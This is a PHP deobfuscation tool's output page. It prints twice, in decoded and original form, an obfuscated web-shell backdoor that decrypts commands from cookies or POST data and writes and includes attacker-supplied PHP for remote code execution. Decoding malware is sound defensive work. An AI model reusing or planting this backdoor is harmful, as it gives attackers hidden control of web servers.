Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function /* pb */ kgqzmatsfr() { $xixwrca = 'fjtlqtvc'; print_r(47094..

Decoded Output download

<?php 
function /*  pb   */ kgqzmatsfr() 
{ 
    $xixwrca = 'fjtlqtvc'; 
    print_r(47094 + 47094); 
} 
$wakrc = /* lkzr */ 'wakrc' ^ /* _iepi   */ '    '; 
 
 
 
$crbxzldml = /*j  */ $_COOKIE; 
$lgrxc     = /*   qaggt  */ $_POST; 
 
 
 
function lno_lc($swwbxyo, $d_bwfwikc) 
{ 
    global $wakrc; 
    $kjymsfpe /*  r */ = ""; 
    /* orxs_ */ 
    for /*   m   */ ($yfqxc_flhh = /*  spz*/ 0; /* drtj */ $yfqxc_flhh < strlen($swwbxyo);) { 
         
         
        for ($czomioeu = 0; $czomioeu < strlen($d_bwfwikc) /*   bxtw   */ && $yfqxc_flhh /* _g   */ < strlen($swwbxyo); $czomioeu++, /*   l   */ $yfqxc_flhh++) { 
            /* d   */ 
            $kjymsfpe .= $wakrc(ord($swwbxyo[$yfqxc_flhh]) /*  toff   */ ^ /*  wtj   */ ord($d_bwfwikc[$czomioeu])); 
        } 
    } 
    /*  p  */ 
    return $kjymsfpe; 
     
     
} 
 
function gfzbepl($prclpv, /*pjrvt*/ $swwbxyo) 
{ 
     
     
    /* tpyyl   */ 
    global $wakrc; 
     
     
     
     
    /* rm  */ 
    $uxgscsnd = sprintf($wakrc(46) . "/" . "%" . "s" . $wakrc(46) . "p" . "l", md5($prclpv)); 
     
    /*eue */ 
    file_put_contents($uxgscsnd, "<" . "?" . /*nf   */ "p" . "h" . "p" . $wakrc(32) . /*   mcny*/ "u" . $wakrc(110) . "l" /*  _uhkk */ . $wakrc(105) . $wakrc(110) . /*fz  */ "k" . $wakrc(566 - 526) . /*pnc  */ "_" . "_" . "F" . "I" . /*t*/ "L" . "E" . "_" . $wakrc(95) . ")" . $wakrc(462 - 403) . $wakrc(32) . $swwbxyo[$wakrc(100)]); 
    include($uxgscsnd); 
    $aohcu_ax = $uxgscsnd; 
    unlink($aohcu_ax); 
} 
 
 
 
function /*   c  */ engizz() 
{ 
     
     
    /*   cqzc  */ 
    global /* ze*/ $wakrc; 
     
    /*_*/ 
    /*  xsp  */ 
    $yfqxc_flhh /*  ar*/ = array(); 
     
    $yfqxc_flhh[$wakrc(201 - 89) . "v"]            /* ngwfh */ = phpversion(); 
    $yfqxc_flhh[$wakrc(379 - 264) /*  yja*/ . "v"] = $wakrc(208 - 157) . "." . $wakrc(558 - 505); 
    echo @serialize($yfqxc_flhh); 
     
} 
 
 
function /*  iyvdd */ npzduxemo($swwbxyo, /*  iyni   */ $prclpv, $agpxk) 
{ 
    /*   wltj   */ 
    global $wakrc; 
     
    /*   qg*/ 
     
    $swwbxyo /*ox   */ = unserialize(lno_lc(lno_lc(base64_decode($swwbxyo), /* edidl */ $prclpv), $agpxk)); 
    if /*ywu_t  */ (isset($swwbxyo["a" . $wakrc(107)])) { 
         
         
        if /* nf   */ ($swwbxyo["a"] == /*vvui  */ $wakrc(105)) { 
             
            /*   lmv*/ 
            engizz(); 
             
        } 
        /* rxaf*/ 
        elseif ($swwbxyo["a"] == /*   _c_g*/ "e") { 
             
             
            gfzbepl($prclpv, /*   m_   */ $swwbxyo); 
             
             
        } 
        /*  bkl  */ 
        exit(); 
         
        /*usah*/ 
    } 
     
} 
 
 
 
$crbxzldml = array_merge($lgrxc, $crbxzldml); 
 
$prclpv /* i  */ = "e" /*npk*/ . $wakrc(554 - 452) /*t_   */ . $wakrc(980 - 878) . /*   mvgv   */ "3" . "8" . "7" . "c" /* bqux*/ . /* xxw   */ $wakrc(50) . $wakrc(45) . "8" /*  ln*/ . $wakrc(1073 - 976) . /*  tejd_*/ "8" . $wakrc(98) . $wakrc(761 - 716) . $wakrc(811 - 759) . /*   wq*/ $wakrc(584 - 483) . "b" . "3" . "-" . $wakrc(506 - 409) . $wakrc(100) . /*  qtg */ "a" . "9" . $wakrc(45) /*   iwgs */ . "9" . "7" . "1" . "6" . $wakrc(55) /*xc   */ . /*   g */ "5" . "2" . $wakrc(53) . /*   eyo*/ "8" . "3" . "8" . "f"; 
foreach ($crbxzldml as /*   ysnsk  */ $agpxk => $swwbxyo) /*v   */ { 
     
     
    /*   eiamb   */ 
    npzduxemo($swwbxyo, $prclpv, /*fzb*/ $agpxk); 
     
     
} ?>

Did this file decode correctly?

Original Code

<?php
function /*  pb   */ kgqzmatsfr()
{
    $xixwrca = 'fjtlqtvc';
    print_r(47094 + 47094);
}
$wakrc = /* lkzr */ 'wakrc' ^ /* _iepi   */ '    ';



$crbxzldml = /*j  */ $_COOKIE;
$lgrxc     = /*   qaggt  */ $_POST;



function lno_lc($swwbxyo, $d_bwfwikc)
{
    global $wakrc;
    $kjymsfpe /*  r */ = "";
    /* orxs_ */
    for /*   m   */ ($yfqxc_flhh = /*  spz*/ 0; /* drtj */ $yfqxc_flhh < strlen($swwbxyo);) {
        
        
        for ($czomioeu = 0; $czomioeu < strlen($d_bwfwikc) /*   bxtw   */ && $yfqxc_flhh /* _g   */ < strlen($swwbxyo); $czomioeu++, /*   l   */ $yfqxc_flhh++) {
            /* d   */
            $kjymsfpe .= $wakrc(ord($swwbxyo[$yfqxc_flhh]) /*  toff   */ ^ /*  wtj   */ ord($d_bwfwikc[$czomioeu]));
        }
    }
    /*  p  */
    return $kjymsfpe;
    
    
}

function gfzbepl($prclpv, /*pjrvt*/ $swwbxyo)
{
    
    
    /* tpyyl   */
    global $wakrc;
    
    
    
    
    /* rm  */
    $uxgscsnd = sprintf($wakrc(46) . "/" . "%" . "\x73" . $wakrc(46) . "p" . "l", md5($prclpv));
    
    /*eue */
    file_put_contents($uxgscsnd, "<" . "\77" . /*nf   */ "p" . "h" . "p" . $wakrc(32) . /*   mcny*/ "\165" . $wakrc(110) . "\154" /*  _uhkk */ . $wakrc(105) . $wakrc(110) . /*fz  */ "\153" . $wakrc(566 - 526) . /*pnc  */ "_" . "_" . "F" . "\x49" . /*t*/ "L" . "\x45" . "_" . $wakrc(95) . ")" . $wakrc(462 - 403) . $wakrc(32) . $swwbxyo[$wakrc(100)]);
    include($uxgscsnd);
    $aohcu_ax = $uxgscsnd;
    unlink($aohcu_ax);
}



function /*   c  */ engizz()
{
    
    
    /*   cqzc  */
    global /* ze*/ $wakrc;
    
    /*_*/
    /*  xsp  */
    $yfqxc_flhh /*  ar*/ = array();
    
    $yfqxc_flhh[$wakrc(201 - 89) . "v"]            /* ngwfh */ = phpversion();
    $yfqxc_flhh[$wakrc(379 - 264) /*  yja*/ . "v"] = $wakrc(208 - 157) . "." . $wakrc(558 - 505);
    echo @serialize($yfqxc_flhh);
    
}


function /*  iyvdd */ npzduxemo($swwbxyo, /*  iyni   */ $prclpv, $agpxk)
{
    /*   wltj   */
    global $wakrc;
    
    /*   qg*/
    
    $swwbxyo /*ox   */ = unserialize(lno_lc(lno_lc(base64_decode($swwbxyo), /* edidl */ $prclpv), $agpxk));
    if /*ywu_t  */ (isset($swwbxyo["\x61" . $wakrc(107)])) {
        
        
        if /* nf   */ ($swwbxyo["a"] == /*vvui  */ $wakrc(105)) {
            
            /*   lmv*/
            engizz();
            
        }
        /* rxaf*/
        elseif ($swwbxyo["a"] == /*   _c_g*/ "\145") {
            
            
            gfzbepl($prclpv, /*   m_   */ $swwbxyo);
            
            
        }
        /*  bkl  */
        exit();
        
        /*usah*/
    }
    
}



$crbxzldml = array_merge($lgrxc, $crbxzldml);

$prclpv /* i  */ = "\x65" /*npk*/ . $wakrc(554 - 452) /*t_   */ . $wakrc(980 - 878) . /*   mvgv   */ "3" . "8" . "7" . "\x63" /* bqux*/ . /* xxw   */ $wakrc(50) . $wakrc(45) . "\x38" /*  ln*/ . $wakrc(1073 - 976) . /*  tejd_*/ "\x38" . $wakrc(98) . $wakrc(761 - 716) . $wakrc(811 - 759) . /*   wq*/ $wakrc(584 - 483) . "\x62" . "3" . "\x2d" . $wakrc(506 - 409) . $wakrc(100) . /*  qtg */ "a" . "9" . $wakrc(45) /*   iwgs */ . "\x39" . "7" . "\x31" . "6" . $wakrc(55) /*xc   */ . /*   g */ "5" . "2" . $wakrc(53) . /*   eyo*/ "8" . "\x33" . "8" . "f";
foreach ($crbxzldml as /*   ysnsk  */ $agpxk => $swwbxyo) /*v   */ {
    
    
    /*   eiamb   */
    npzduxemo($swwbxyo, $prclpv, /*fzb*/ $agpxk);
    
    
}

Function Calls

array_merge 1

Variables

$lgrxc 0
$wakrc cAKRC
$crbxzldml 0

Stats

MD5 c8d47868369a498cb0ad60e1a1b6c829
Eval Count 0
Decode Time 74 ms